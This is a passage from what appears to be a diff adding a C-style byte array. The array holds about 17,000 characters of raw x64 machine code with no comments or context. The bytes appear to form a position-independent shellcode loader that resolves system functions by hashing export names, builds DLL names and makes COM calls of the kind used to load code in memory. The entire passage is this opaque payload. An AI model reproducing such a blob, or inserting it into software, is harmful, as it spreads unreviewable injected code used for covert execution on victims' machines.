0x24, 0x04, 0x41, 0xb8, 0x00, 0x30, 0x00, 0x00, 0xff, 0x57, 0x48, + 0x48, 0x89, 0x87, 0x58, 0x07, 0x00, 0x00, 0x48, 0x85, 0xc0, 0x74, 0x20, + 0x44, 0x8b, 0x06, 0x4c, 0x8d, 0x8d, 0x18, 0x02, 0x00, 0x00, 0x48, 0x8b, + 0xd0, 0x44, 0x89, 0xa5, 0x18, 0x02, 0x00, 0x00, 0x48, 0x8b, 0xcb, 0xff, + 0x97, 0xe8, 0x00, 0x00, 0x00, 0x44, 0x8b, 0xf0, 0x48, 0x8b, 0xcb, 0xff, + 0x97, 0xf0, 0x00, 0x00, 0x00, 0x49, 0x8b, 0xcf, 0xff, 0x97, 0xf0, 0x00, + 0x00, 0x00, 0x49, 0x8b, 0xcd, 0xff, 0x97, 0xf0, 0x00, 0x00, 0x00, 0x45, + 0x85, 0xf6, 0x74, 0x3d, 0x48, 0x8b, 0x9f, 0x58, 0x07, 0x00, 0x00, 0x48, + 0x8d, 0x97, 0x40, 0x07, 0x00, 0x00, 0x4c, 0x8b, 0x8f, 0x50, 0x07, 0x00, + 0x00, 0x48, 0x8d, 0x8f, 0x30, 0x07, 0x00, 0x00, 0x4c, 0x8b, 0xc3, 0xe8, + 0xb0, 0x16, 0x00, 0x00, 0x48, 0x8b, 0x57, 0x28, 0x48, 0x8d, 0x8f, 0x28, + 0x06, 0x00, 0x00, 0xe8, 0x58, 0x15, 0x00, 0x00, 0x48, 0x3b, 0x83, 0x08, + 0x19, 0x00, 0x00, 0x75, 0x05, 0x41, 0x8b, 0xc6, 0xeb, 0x02, 0x33, 0xc0, + 0x48, 0x81, 0xc4, 0xb8, 0x02, 0x00, 0x00, 0x41, 0x5f, 0x41, 0x5e, 0x41, + 0x5d, 0x41, 0x5c, 0x5f, 0x5e, 0x5b, 0x5d, 0xc3, 0x48, 0x89, 0x5c, 0x24, + 0x08, 0x4c, 0x89, 0x44, 0x24, 0x18, 0x55, 0x56, 0x57, 0x41, 0x54, 0x41, + 0x55, 0x41, 0x56, 0x41, 0x57, 0x48, 0x8d, 0xac, 0x24, 0xf0, 0xfe, 0xff, + 0xff, 0x48, 0x81, 0xec, 0x10, 0x02, 0x00, 0x00, 0x4c, 0x63, 0x7a, 0x3c, + 0x4d, 0x8b, 0xe9, 0x48, 0x8b, 0xda, 0x4c, 0x8b, 0xe1, 0x41, 0x8b, 0x84, + 0x17, 0x88, 0x00, 0x00, 0x00, 0x85, 0xc0, 0x0f, 0x84, 0x95, 0x00, 0x00, + 0x00, 0x48, 0x8d, 0x3c, 0x02, 0x8b, 0x77, 0x18, 0x85, 0xf6, 0x0f, 0x84, + 0x86, 0x00, 0x00, 0x00, 0x8b, 0x47, 0x1c, 0x33, 0xc9, 0x44, 0x8b, 0x47, + 0x0c, 0x48, 0x03, 0xc2, 0x48, 0x89, 0x44, 0x24, 0x30, 0x4c, 0x03, 0xc2, + 0x8b, 0x47, 0x20, 0x48, 0x03, 0xc2, 0x48, 0x89, 0x85, 0x58, 0x01, 0x00, + 0x00, 0x8b, 0x47, 0x24, 0x48, 0x03, 0xc2, 0x48, 0x89, 0x44, 0x24, 0x28, + 0x41, 0x8a, 0x00, 0x84, 0xc0, 0x74, 0x14, 0x33, 0xd2, 0xff, 0xc1, 0x0c, + 0x20, 0x88, 0x44, 0x15, 0x00, 0x8b, 0xd1, 0x42, 0x8a, 0x04, 0x01, 0x84, + 0xc0, 0x75, 0xee, 0xc6, 0x44, 0x0d, 0x00, 0x00, 0x49, 0x8b, 0xd5, 0x48, + 0x8d, 0x4d, 0x00, 0xe8, 0x8c, 0x14, 0x00, 0x00, 0x48, 0x89, 0x44, 0x24, + 0x20, 0x48, 0x8b, 0x85, 0x58, 0x01, 0x00, 0x00, 0xff, 0xce, 0x49, 0x8b, + 0xd5, 0x8b, 0x0c, 0xb0, 0x48, 0x03, 0xcb, 0xe8, 0x70, 0x14, 0x00, 0x00, + 0x48, 0x33, 0x44, 0x24, 0x20, 0x48, 0x3b, 0x85, 0x60, 0x01, 0x00, 0x00, + 0x74, 0x21, 0x85, 0xf6, 0x75, 0xd7, 0x33, 0xc0, 0x48, 0x8b, 0x9c, 0x24, + 0x50, 0x02, 0x00, 0x00, 0x48, 0x81, 0xc4, 0x10, 0x02, 0x00, 0x00, 0x41, + 0x5f, 0x41, 0x5e, 0x41, 0x5d, 0x41, 0x5c, 0x5f, 0x5e, 0x5d, 0xc3, 0x48, + 0x8b, 0x44, 0x24, 0x28, 0x48, 0x8b, 0x4c, 0x24, 0x30, 0x0f, 0xb7, 0x04, + 0x70, 0x44, 0x8b, 0x04, 0x81, 0x4c, 0x03, 0xc3, 0x4c, 0x3b, 0xc7, 0x0f, + 0x82, 0xaf, 0x00, 0x00, 0x00, 0x41, 0x8b, 0x84, 0x1f, 0x8c, 0x00, 0x00, + 0x00, 0x48, 0x03, 0xc7, 0x4c, 0x3b, 0xc0, 0x0f, 0x83, 0x9b, 0x00, 0x00, + 0x00, 0x33, 0xdb, 0x44, 0x8b, 0xcb, 0x41, 0x38, 0x18, 0x74, 0x21, 0x41, + 0x83, 0xf9, 0x3c, 0x73, 0x1b, 0x41, 0x8b, 0xc9, 0x42, 0x8a, 0x04, 0x01, + 0x88, 0x44, 0x0c, 0x40, 0x42, 0x80, 0x3c, 0x01, 0x2e, 0x74, 0x09, 0x41, + 0xff, 0xc1, 0x43, 0x38, 0x1c, 0x01, 0x75, 0xdf, 0x41, 0x8d, 0x41, 0x01, + 0x8b, 0xd0, 0xc6, 0x44, 0x04, 0x40, 0x64, 0x41, 0x8d, 0x41, 0x02, 0xc6, + 0x44, 0x04, 0x40, 0x6c, 0x41, 0x8d, 0x41, 0x03, 0xc6, 0x44, 0x04, 0x40, + 0x6c, 0x41, 0x8d, 0x41, 0x04, 0x4e, 0x8d, 0x0c, 0x02, 0x88, 0x5c, 0x04, + 0x40, 0x8b, 0xd3, 0x41, 0x38, 0x19, 0x74, 0x17, 0x83, 0xfa, 0x7f, 0x73, + 0x12, 0x8b, 0xca, 0xff, 0xc2, 0x42, 0x8a, 0x04, 0x09, 0x88, 0x44, 0x0d, + 0x80, 0x42, 0x38, 0x1c, 0x0a, 0x75, 0xe9, 0x8b, 0xc2, 0x48, 0x8d, 0x4c, + 0x24, 0x40, 0x88, 0x5c, 0x05, 0x80, 0x41, 0xff, 0x54, 0x24, 0x30, 0x48, + 0x85, 0xc0, 0x74, 0x11, 0x48, 0x8d, 0x55, 0x80, 0x48, 0x8b, 0xc8, 0x41, + 0xff, 0x54, 0x24, 0x38, 0x4c, 0x8b, 0xc0, 0xeb, 0x03, 0x4c, 0x8b, 0xc3, + 0x49, 0x8b, 0xc0, 0xe9, 0x10, 0xff, 0xff, 0xff, 0x40, 0x53, 0x48, 0x83, + 0xec, 0x20, 0x48, 0x8b, 0x4a, 0x30, 0x48, 0x8b, 0xda, 0x48, 0x85, 0xc9, + 0x74, 0x0b, 0x48, 0x8b, 0x01, 0xff, 0x50, 0x10, 0x48, 0x83, 0x63, 0x30, + 0x00, 0x48, 0x8b, 0x4b, 0x38, 0x48, 0x85, 0xc9, 0x74, 0x0b, 0x48, 0x8b, + 0x01, 0xff, 0x50, 0x10, 0x48, 0x83, 0x63, 0x38, 0x00, 0x48, 0x8b, 0x4b, + 0x28, 0x48, 0x85, 0xc9, 0x74, 0x0b, 0x48, 0x8b, 0x01, 0xff, 0x50, 0x10, + 0x48, 0x83, 0x63, 0x28, 0x00, 0x48, 0x8b, 0x4b, 0x20, 0x48, 0x85, 0xc9, + 0x74, 0x0b, 0x48, 0x8b, 0x01, 0xff, 0x50, 0x10, 0x48, 0x83, 0x63, 0x20, + 0x00, 0x48, 0x8b, 0x4b, 0x18, 0x48, 0x85, 0xc9, 0x74, 0x0b, 0x48, 0x8b, + 0x01, 0xff, 0x50, 0x10, 0x48, 0x83, 0x63, 0x18, 0x00, 0x48, 0x8b, 0x4b, + 0x10, 0x48, 0x85, 0xc9, 0x74, 0x15, 0x48, 0x8b, 0x01, 0xff, 0x50, 0x58, + 0x48, 0x8b, 0x4b, 0x10, 0x48, 0x8b, 0x01, 0xff, 0x50, 0x10, 0x48, 0x83, + 0x63, 0x10, 0x00, 0x48, 0x8b, 0x4b, 0x08, 0x48, 0x85, 0xc9, 0x74, 0x0b, + 0x48, 0x8b, 0x01, 0xff, 0x50, 0x10, 0x48, 0x83, 0x63, 0x08, 0x00, 0x48, + 0x8b, 0x0b, 0x48, 0x85, 0xc9, 0x74, 0x0a, 0x48, 0x8b, 0x01, 0xff, 0x50, + 0x10, 0x48, 0x83, 0x23, 0x00, 0x48, 0x83, 0xc4, 0x20, 0x5b, 0xc3, 0xcc, + 0xf0, 0xff, 0x41, 0x20, 0x8b, 0x41, 0x20, 0xc3, 0x48, 0x8b, 0x49, 0x10, + 0x45, 0x8b, 0xd1, 0x4c, 0x8b, 0x4c, 0x24, 0x30, 0x49, 0x8b, 0xd0, 0x45, + 0x8b, 0xc2, 0x48, 0x8b, 0x01, 0x48, 0xff, 0x60, 0x50, 0xcc, 0xcc, 0xcc, + 0x48, 0x89, 0x5c, 0x24, 0x08, 0x57, 0x48, 0x83, 0xec, 0x20, 0x49, 0x8b, + 0xd9, 0x48, 0x8b, 0xf9, 0x4d, 0x85, 0xc9, 0x75, 0x07, 0xb8, 0x03, 0x40, + 0x00, 0x80, 0xeb, 0x13, 0x48, 0x8b, 0x49, 0x10, 0x48, 0x8b, 0x01, 0xff, + 0x50, 0x08, 0x48, 0x8b, 0x47, 0x10, 0x48, 0x89, 0x03, 0x33, 0xc0, 0x48, + 0x8b, 0x5c, 0x24, 0x30, 0x48, 0x83, 0xc4, 0x20, 0x5f, 0xc3, 0xcc, 0xcc, + 0x48, 0x85, 0xd2, 0x75, 0x06, 0xb8, 0x03, 0x40, 0x00, 0x80, 0xc3, 0xc7, + 0x02, 0x01, 0x00, 0x00, 0x00, 0x33, 0xc0, 0xc3, 0x48, 0x83, 0xec, 0x48, + 0x48, 0x8b, 0x84, 0x24, 0x90, 0x00, 0x00, 0x00, 0x4c, 0x8b, 0xd9, 0x48, + 0x8b, 0x49, 0x10, 0x44, 0x8b, 0xc2, 0x44, 0x0f, 0xb7, 0x4c, 0x24, 0x70, + 0x49, 0x8b, 0xd3, 0x48, 0x89, 0x44, 0x24, 0x38, 0x48, 0x8b, 0x84, 0x24, + 0x88, 0x00, 0x00, 0x00, 0x4c, 0x8b, 0x11, 0x48, 0x89, 0x44, 0x24, 0x30, + 0x48, 0x8b, 0x84, 0x24, 0x80, 0x00, 0x00, 0x00, 0x48, 0x89, 0x44, 0x24, + 0x28, 0x48, 0x8b, 0x44, 0x24, 0x78, 0x48, 0x89, 0x44, 0x24, 0x20, 0x41, + 0xff, 0x52, 0x58, 0x48, 0x83, 0xc4, 0x48, 0xc3, 0x48, 0x89, 0x5c, 0x24, + 0x08, 0x48, 0x89, 0x74, 0x24, 0x10, 0x57, 0x48, 0x83, 0xec, 0x20, 0x48, + 0x8b, 0x02, 0x48, 0x8b, 0xf9, 0x48, 0x8d, 0x0d, 0x08, 0x02, 0x00, 0x00, + 0x48, 0x8b, 0xda, 0x48, 0x89, 0x08, 0x48, 0x8d, 0x0d, 0x0f, 0xff, 0xff, + 0xff, 0x48, 0x8b, 0x02, 0x48, 0x89, 0x48, 0x08, 0x48, 0x8d, 0x0d, 0x7d, + 0x02, 0x00, 0x00, 0x48, 0x8b, 0x02, 0x48, 0x89, 0x48, 0x10, 0x48, 0x8d, + 0x0d, 0x53, 0xff, 0xff, 0xff, 0x48, 0x8b, 0x02, 0x48, 0x89, 0x48, 0x18, + 0x48, 0x8d, 0x0d, 0x09, 0xff, 0xff, 0xff, 0x48, 0x8b, 0x02, 0x48, 0x89, + 0x48, 0x20, 0x48, 0x8d, 0x0d, 0xdf, 0xfe, 0xff, 0xff, 0x48, 0x8b, 0x02, + 0x48, 0x89, 0x48, 0x28, 0x48, 0x8d, 0x0d, 0x3d, 0xff, 0xff, 0xff, 0x48, + 0x8b, 0x02, 0x48, 0x89, 0x48, 0x30, 0x48, 0x8d, 0x0d, 0xcb, 0xf5, 0xff, + 0xff, 0x48, 0x8b, 0x02, 0x48, 0x89, 0x48, 0x38, 0x48, 0x8d, 0x0d, 0x51, + 0xf5, 0xff, 0xff, 0x48, 0x8b, 0x02, 0x48, 0x89, 0x48, 0x40, 0x48, 0x8d, + 0x0d, 0x43, 0xf5, 0xff, 0xff, 0x48, 0x8b, 0x02, 0x48, 0x89, 0x48, 0x48, + 0x48, 0x8d, 0x0d, 0x35, 0xf5, 0xff, 0xff, 0x48, 0x8b, 0x02, 0x48, 0x89, + 0x48, 0x50, 0x48, 0x8d, 0x0d, 0x27, 0xf5, 0xff, 0xff, 0x48, 0x8b, 0x02, + 0x48, 0x89, 0x48, 0x58, 0x48, 0x8d, 0x0d, 0x19, 0xf5, 0xff, 0xff, 0x48, + 0x8b, 0x02, 0x48, 0x89, 0x48, 0x60, 0x48, 0x8d, 0x0d, 0xc3, 0x01, 0x00, + 0x00, 0x48, 0x8b, 0x02, 0x48, 0x89, 0x48, 0x68, 0x48, 0x8d, 0x0d, 0xfd, + 0xf4, 0xff, 0xff, 0x48, 0x8b, 0x02, 0x48, 0x89, 0x48, 0x70, 0x48, 0x8d, + 0x0d, 0xef, 0xf4, 0xff, 0xff, 0x48, 0x8b, 0x02, 0x48, 0x89, 0x48, 0x78, + 0x48, 0x8d, 0x0d, 0xe1, 0xf4, 0xff, 0xff, 0x48, 0x8b, 0x02, 0x48, 0x89, + 0x88, 0x80, 0x00, 0x00, 0x00, 0x48, 0x8d, 0x0d, 0xd0, 0xf4, 0xff, 0xff, + 0x48, 0x8b, 0x02, 0x48, 0x89, 0x88, 0x88, 0x00, 0x00, 0x00, 0x48, 0x8d, + 0x0d, 0xbf, 0xf4, 0xff, 0xff, 0x48, 0x8b, 0x02, 0x48, 0x89, 0x88, 0x90, + 0x00, 0x00, 0x00, 0x48, 0x8d, 0x0d, 0xae, 0xf4, 0xff, 0xff, 0x48, 0x8b, + 0x02, 0x48, 0x89, 0x88, 0x98, 0x00, 0x00, 0x00, 0x48, 0x8d, 0x0d, 0x9d, + 0xf4, 0xff, 0xff, 0x48, 0x8b, 0x02, 0x48, 0x89, 0x88, 0xa0, 0x00, 0x00, + 0x00, 0x48, 0x8d, 0x0d, 0x8c, 0xf4, 0xff, 0xff, 0x48, 0x8b, 0x02, 0x48, + 0x89, 0x88, 0xa8, 0x00, 0x00, 0x00, 0x48, 0x8d, 0x0d, 0x7b, 0xf4, 0xff, + 0xff, 0x48, 0x8b, 0x02, 0x48, 0x89, 0x88, 0xb0, 0x00, 0x00, 0x00, 0x48, + 0x8d, 0x0d, 0x6a, 0xf4, 0xff, 0xff, 0x48, 0x8b, 0x02, 0x48, 0x89, 0x88, + 0xb8, 0x00, 0x00, 0x00, 0x48, 0x8d, 0x0d, 0x59, 0xf4, 0xff, 0xff, 0x48, + 0x8b, 0x02, 0x48, 0x89, 0x88, 0xc0, 0x00, 0x00, 0x00, 0x48, 0x8d, 0x0d, + 0x2c, 0x01, 0x00, 0x00, 0x48, 0x8b, 0x02, 0x48, 0x89, 0x88, 0xc8, 0x00, + 0x00, 0x00, 0x48, 0x8b, 0x02, 0x48, 0x8d, 0x0d, 0x34, 0xf4, 0xff, 0xff, + 0x48, 0x89, 0x88, 0xd0, 0x00, 0x00, 0x00, 0x48, 0x8d, 0x0d, 0x26, 0xf4, + 0xff, 0xff, 0x48, 0x8b, 0x02, 0x48, 0x89, 0x88, 0xd8, 0x00, 0x00, 0x00, + 0x48, 0x8d, 0x0d, 0x15, 0xf4, 0xff, 0xff, 0x48, 0x8b, 0x02, 0x48, 0x89, + 0x88, 0xe0, 0x00, 0x00, 0x00, 0x48, 0x8d, 0x0d, 0x04, 0xf4, 0xff, 0xff, + 0x48, 0x8b, 0x02, 0x48, 0x89, 0x88, 0xe8, 0x00, 0x00, 0x00, 0x48, 0x8d, + 0x8f, 0xdc, 0x03, 0x00, 0x00, 0x83, 0x62, 0x20, 0x00, 0x48, 0x89, 0x7a, + 0x28, 0x48, 0x83, 0xc2, 0x08, 0xff, 0x97, 0xc0, 0x00, 0x00, 0x00, 0x85, + 0xc0, 0x75, 0x15, 0x48, 0x8b, 0x4b, 0x08, 0x4c, 0x8d, 0x43, 0x10, 0x48, + 0x8d, 0x97, 0x8c, 0x04, 0x00, 0x00, 0x48, 0x8b, 0x01, 0xff, 0x50, 0x30, + 0x48, 0x8b, 0x5c, 0x24, 0x30, 0x48, 0x8b, 0x74, 0x24, 0x38, 0x48, 0x83, + 0xc4, 0x20, 0x5f, 0xc3, 0x4c, 0x8b, 0xc9, 0x4d, 0x85, 0xc0, 0x75, 0x06, + 0xb8, 0x03, 0x40, 0x00, 0x80, 0xc3, 0x48, 0x8b, 0x49, 0x28, 0x48, 0x8b, + 0x81, 0xfc, 0x03, 0x00, 0x00, 0x48, 0x3b, 0x02, 0x75, 0x0d, 0x48, 0x8b, + 0x81, 0x04, 0x04, 0x00, 0x00, 0x48, 0x3b, 0x42, 0x08, 0x74, 0x32, 0x48, + 0x8b, 0x81, 0x0c, 0x04, 0x00, 0x00, 0x48, 0x3b, 0x02, 0x75, 0x0d, 0x48, + 0x8b, 0x81, 0x14, 0x04, 0x00, 0x00, 0x48, 0x3b, 0x42, 0x08, 0x74, 0x19, + 0x48, 0x8b, 0x81, 0x8c, 0x04, 0x00, 0x00, 0x48, 0x3b, 0x02, 0x75, 0x13, + 0x48, 0x8b, 0x81, 0x94, 0x04, 0x00, 0x00, 0x48, 0x3b, 0x42, 0x08, 0x75, + 0x06, 0x4d, 0x89, 0x08, 0x33, 0xc0, 0xc3, 0x49, 0x83, 0x20, 0x00, 0xb8, + 0x02, 0x40, 0x00, 0x80, 0xc3, 0xcc, 0xcc, 0xcc, 0x48, 0x83, 0xec, 0x28, + 0x48, 0x8b, 0x49, 0x18, 0x45, 0x33, 0xc9, 0x45, 0x33, 0xc0, 0xba, 0xfd, + 0xff, 0xff, 0xff, 0x48, 0x8b, 0x01, 0xff, 0x50, 0x70, 0x33, 0xc0, 0x48, + 0x83, 0xc4, 0x28, 0xc3, 0x83, 0xc8, 0xff, 0xf0, 0x0f, 0xc1, 0x41, 0x20, + 0xff, 0xc8, 0xc3, 0xcc, 0x48, 0x83, 0xec, 0x28, 0x48, 0x8b, 0x41, 0x28, + 0x8b, 0xca, 0xff, 0x50, 0x68, 0x33, 0xc0, 0x48, 0x83, 0xc4, 0x28, 0xc3, + 0x48, 0x89, 0x5c, 0x24, 0x10, 0x48, 0x89, 0x6c, 0x24, 0x20, 0x56, 0x57, + 0x41, 0x54, 0x41, 0x56, 0x41, 0x57, 0x48, 0x83, 0xec, 0x30, 0x33, 0xc0, + 0x4c, 0x8d, 0xb9, 0x58, 0x07, 0x00, 0x00, 0x33, 0xed, 0x4c, 0x8b, 0xf2, + 0x83, 0xb9, 0x1c, 0x05, 0x00, 0x00, 0x01, 0x48, 0x8b, 0xf1, 0x74, 0x03, + 0x4d, 0x8b, 0x3f, 0x4c, 0x8b, 0x89, 0x18, 0x01, 0x00, 0x00, 0x4d, 0x85, + 0xc9, 0x0f, 0x84, 0x99, 0x00, 0x00, 0x00, 0x48, 0x8d, 0x91, 0x2c, 0x04, + 0x00, 0x00, 0x4d, 0x8b, 0xc6, 0x48, 0x81, 0xc1, 0x1c, 0x04, 0x00, 0x00, + 0x41, 0xff, 0xd1, 0x85, 0xc0, 0x78, 0x59, 0x49, 0x8b, 0x0e, 0x49, 0x8d, + 0x5e, 0x08, 0x4c, 0x8d, 0x86, 0x3c, 0x04, 0x00, 0x00, 0x4c, 0x8b, 0xcb, + 0x49, 0x8d, 0x57, 0x04, 0x48, 0x8b, 0x01, 0xff, 0x50, 0x18, 0x85, 0xc0, + 0x78, 0x35, 0x48, 0x8b, 0x0b, 0x48, 0x8d, 0x54, 0x24, 0x60, 0x48, 0x8b, + 0x01, 0xff, 0x50, 0x50, 0x85, 0xc0, 0x78, 0x2f, 0x39, 0x6c, 0x24, 0x60, + 0x74, 0x25, 0x48, 0x8b, 0x0b, 0x4d, 0x8d, 0x4e, 0x10, 0x4c, 0x8d, 0x86, + 0x5c, 0x04, 0x00, 0x00, 0x48, 0x8d, 0x96, 0x4c, 0x04, 0x00, 0x00, 0x48, + 0x8b, 0x01, 0xff, 0x50, 0x48, 0xeb, 0x08, 0x48, 0x21, 0x2b, 0xeb, 0x03, + 0x49, 0x21, 0x2e, 0x85, 0xc0, 0x79, 0x30, 0x49, 0x8d, 0x46, 0x10, 0x33, + 0xd2, 0x4c, 0x8d, 0x8e, 0x5c, 0x04, 0x00, 0x00, 0x48, 0x89, 0x44, 0x24, + 0x20, 0x4c, 0x8d, 0x86, 0x4c, 0x04, 0x00, 0x00, 0x33, 0xc9, 0xff, 0x96, + 0x10, 0x01, 0x00, 0x00, 0x85, 0xc0, 0x79, 0x0b, 0x49, 0x21, 0x6e, 0x10, + 0x33, 0xc0, 0xe9, 0x0a, 0x01, 0x00, 0x00, 0x49, 0x8b, 0x4e, 0x10, 0x48, + 0x8b, 0x01, 0xff, 0x50, 0x50, 0x85, 0xc0, 0x0f, 0x88, 0xf6, 0x00, 0x00, + 0x00, 0x49, 0x8d, 0x8f, 0x04, 0x02, 0x00, 0x00, 0xff, 0x96, 0xb0, 0x00, + 0x00, 0x00, 0x49, 0x8b, 0x4e, 0x10, 0x4d, 0x8d, 0x4e, 0x18, 0x45, 0x33, + 0xc0, 0x48, 0x8b, 0xd0, 0x48, 0x8b, 0xf8, 0x4c, 0x8b, 0x11, 0x41, 0xff, + 0x52, 0x60, 0x48, 0x8b, 0xcf, 0x8b, 0xd8, 0xff, 0x96, 0xb8, 0x00, 0x00, + 0x00, 0x85, 0xdb, 0x0f, 0x88, 0xbe, 0x00, 0x00, 0x00, 0x49, 0x8b, 0x4e, + 0x18, 0x48, 0x8d, 0x96, 0x6c, 0x04, 0x00, 0x00, 0x4d, 0x8d, 0x46, 0x20, + 0x48, 0x8b, 0x01, 0xff, 0x10, 0x85, 0xc0, 0x0f, 0x88, 0xa2, 0x00, 0x00, + 0x00, 0x21, 0x6c, 0x24, 0x74, 0x4c, 0x8d, 0x44, 0x24, 0x70, 0x41, 0x8b, + 0x87, 0x10, 0x19, 0x00, 0x00, 0xb9, 0x11, 0x00, 0x00, 0x00, 0x89, 0x44, + 0x24, 0x70, 0x8d, 0x51, 0xf0, 0xff, 0x96, 0x80, 0x00, 0x00, 0x00, 0x48, + 0x8b, 0xd8, 0x48, 0x85, 0xc0, 0x74, 0x78, 0x4c, 0x8b, 0x40, 0x10, 0x33, + 0xd2, 0x49, 0x39, 0x97, 0x10, 0x19, 0x00, 0x00, 0x76, 0x1b, 0x33, 0xc9, + 0x41, 0x8a, 0x84, 0x0f, 0x18, 0x19, 0x00, 0x00, 0xff, 0xc2, 0x42, 0x88, + 0x04, 0x01, 0x8b, 0xca, 0x49, 0x3b, 0x8f, 0x10, 0x19, 0x00, 0x00, 0x72, + 0xe7, 0x49, 0x8b, 0x4e, 0x20, 0x4d, 0x8d, 0x46, 0x28, 0x48, 0x8b, 0xd3, + 0x48, 0x8b, 0x01, 0xff, 0x90, 0x68, 0x01, 0x00, 0x00, 0x85, 0xc0, 0x48, + 0x8b, 0x43, 0x10, 0x40, 0x0f, 0x94, 0xc5, 0x33, 0xd2, 0x49, 0x39, 0x97, + 0x10, 0x19, 0x00, 0x00, 0x76, 0x1c, 0x33, 0xc9, 0x41, 0xc6, 0x84, 0x0f, + 0x18, 0x19, 0x00, 0x00, 0x00, 0xff, 0xc2, 0xc6, 0x04, 0x01, 0x00, 0x8b, + 0xca, 0x49, 0x3b, 0x8f, 0x10, 0x19, 0x00, 0x00, 0x72, 0xe6, 0x48, 0x8b, + 0xcb, 0xff, 0x96, 0x98, 0x00, 0x00, 0x00, 0x8b, 0xc5, 0x48, 0x8b, 0x5c, + 0x24, 0x68, 0x48, 0x8b, 0x6c, 0x24, 0x78, 0x48, 0x83, 0xc4, 0x30, 0x41, + 0x5f, 0x41, 0x5e, 0x41, 0x5c, 0x5f, 0x5e, 0xc3, 0x48, 0x89, 0x5c, 0x24, + 0x10, 0x55, 0x56, 0x57, 0x41, 0x54, 0x41, 0x55, 0x41, 0x56, 0x41, 0x57, + 0x48, 0x8d, 0x6c, 0x24, 0xd9, 0x48, 0x81, 0xec, 0x00, 0x01, 0x00, 0x00, + 0x45, 0x33, 0xed, 0x48, 0x8d, 0xb9, 0x58, 0x07, 0x00, 0x00, 0x33, 0xc0, + 0x4c, 0x89, 0x6c, 0x24, 0x48, 0x0f, 0x57, 0xc0, 0x48, 0x89, 0x45, 0x9f, + 0x4c, 0x8b, 0xf2, 0x66, 0x44, 0x89, 0x6d, 0x67, 0x45, 0x8d, 0x65, 0x01, + 0x48, 0x8b, 0xd9, 0x41, 0x8b, 0xf5, 0x0f, 0x11, 0x45, 0x8f, 0x44, 0x39, + 0xa1, 0x1c, 0x05, 0x00, 0x00, 0x74, 0x03, 0x48, 0x8b, 0x3f, 0x83, 0x3f, + 0x02, 0x0f, 0x85, 0x91, 0x01, 0x00, 0x00, 0x48, 0x8b, 0x4a, 0x28, 0x48, + 0x83, 0xc2, 0x38, 0x48, 0x8b, 0x01, 0xff, 0x90, 0x80, 0x00, 0x00, 0x00, + 0x85, 0xc0, 0x0f, 0x88, 0x6f, 0x01, 0x00, 0x00, 0x49, 0x8b, 0x4e, 0x38, + 0x48, 0x8d, 0x54, 0x24, 0x48, 0x48, 0x8b, 0x01, 0xff, 0x90, 0x90, 0x00, + 0x00, 0x00, 0x85, 0xc0, 0x0f, 0x88, 0xac, 0x02, 0x00, 0x00, 0x48, 0x8b, + 0x4c, 0x24, 0x48, 0x4c, 0x8d, 0x44, 0x24, 0x40, 0x41, 0x8b, 0xd4, 0xff, + 0x93, 0xa0, 0x00, 0x00, 0x00, 0x48, 0x8b, 0x4c, 0x24, 0x48, 0x4c, 0x8d, + 0x45, 0x7f, 0x41, 0x8b, 0xd4, 0xff, 0x93, 0xa8, 0x00, 0x00, 0x00, 0x8b, + 0x45, 0x7f, 0x2b, 0x44, 0x24, 0x40, 0x41, 0x03, 0xc4, 0x0f, 0x84, 0xcb, + 0x00, 0x00, 0x00, 0xb9, 0x0c, 0x00, 0x00, 0x00, 0x45, 0x8b, 0xc4, 0x33, + 0xd2, 0xff, 0x93, 0x88, 0x00, 0x00, 0x00, 0x33, 0xd2, 0xb9, 0x08, 0x00, + 0x00, 0x00, 0x44, 0x39, 0xaf, 0x04, 0x08, 0x00, 0x00, 0x48, 0x8b, 0xf0, + 0xb8, 0x08, 0x20, 0x00, 0x00, 0x66, 0x89, 0x44, 0x24, 0x50, 0x74, 0x5a, + 0x44, 0x8b, 0x87, 0x04, 0x08, 0x00, 0x00, 0xff, 0x93, 0x88, 0x00, 0x00, + 0x00, 0x41, 0x8b, 0xcd, 0x89, 0x4d, 0x77, 0x48, 0x89, 0x44, 0x24, 0x58, + 0x44, 0x39, 0xaf, 0x04, 0x08, 0x00, 0x00, 0x76, 0x67, 0x48, 0xc1, 0xe1, + 0x09, 0x48, 0x81, 0xc1, 0x08, 0x08, 0x00, 0x00, 0x48, 0x03, 0xcf, 0xff, + 0x93, 0xb0, 0x00, 0x00, 0x00, 0x48, 0x8b, 0x4c, 0x24, 0x58, 0x48, 0x8d, + 0x55, 0x77, 0x4c, 0x8b, 0xc0, 0xff, 0x93, 0x90, 0x00, 0x00, 0x00, 0x8b, + 0x4d, 0x77, 0x41, 0x03, 0xcc, 0x89, 0x4d, 0x77, 0x3b, 0x8f, 0x04, 0x08, + 0x00, 0x00, 0x72, 0xc9, 0xeb, 0x2e, 0x45, 0x8b, 0xc4, 0xff, 0x93, 0x88, + 0x00, 0x00, 0x00, 0x48, 0x8d, 0x4d, 0x67, 0x44, 0x89, 0x6d, 0x77, 0x48, + 0x89, 0x44, 0x24, 0x58, 0xff, 0x93, 0xb0, 0x00, 0x00, 0x00, 0x48, 0x8b, + 0x4c, 0x24, 0x58, 0x48, 0x8d, 0x55, 0x77, 0x4c, 0x8b, 0xc0, 0xff, 0x93, + 0x90, 0x00, 0x00, 0x00, 0x4c, 0x8d, 0x44, 0x24, 0x50, 0x44, 0x89, 0x6d, + 0x77, 0x48, 0x8d, 0x55, 0x77, 0x48, 0x8b, 0xce, 0xff, 0x93, 0x90, 0x00, + 0x00, 0x00, 0x49, 0x8b, 0x4e, 0x38, 0x4c, 0x8d, 0x4d, 0xef, 0xf2, 0x0f, + 0x10, 0x4d, 0x9f, 0x48, 0x8d, 0x55, 0xb7, 0x66, 0x44, 0x89, 0x65, 0x8f, + 0x4c, 0x8b, 0xc6, 0x4c, 0x89, 0x6d, 0x97, 0x0f, 0x10, 0x45, 0x8f, 0x48, + 0x8b, 0x01, 0xf2, 0x0f, 0x11, 0x4d, 0xc7, 0x0f, 0x29, 0x45, 0xb7, 0xff, + 0x90, 0x28, 0x01, 0x00, 0x00, 0x48, 0x85, 0xf6, 0x0f, 0x84, 0x70, 0x01, + 0x00, 0x00, 0x48, 0x8b, 0x4c, 0x24, 0x58, 0xff, 0x93, 0x98, 0x00, 0x00, + 0x00, 0x48, 0x8b, 0xce, 0xff, 0x93, 0x98, 0x00, 0x00, 0x00, 0xe9, 0x57, + 0x01, 0x00, 0x00, 0x4d, 0x89, 0x6e, 0x38, 0xe9, 0x4e, 0x01, 0x00, 0x00, + 0x48, 0x8d, 0x8f, 0x04, 0x04, 0x00, 0x00, 0xff, 0x93, 0xb0, 0x00, 0x00, + 0x00, 0x4c, 0x8b, 0xe0, 0x48, 0x85, 0xc0, 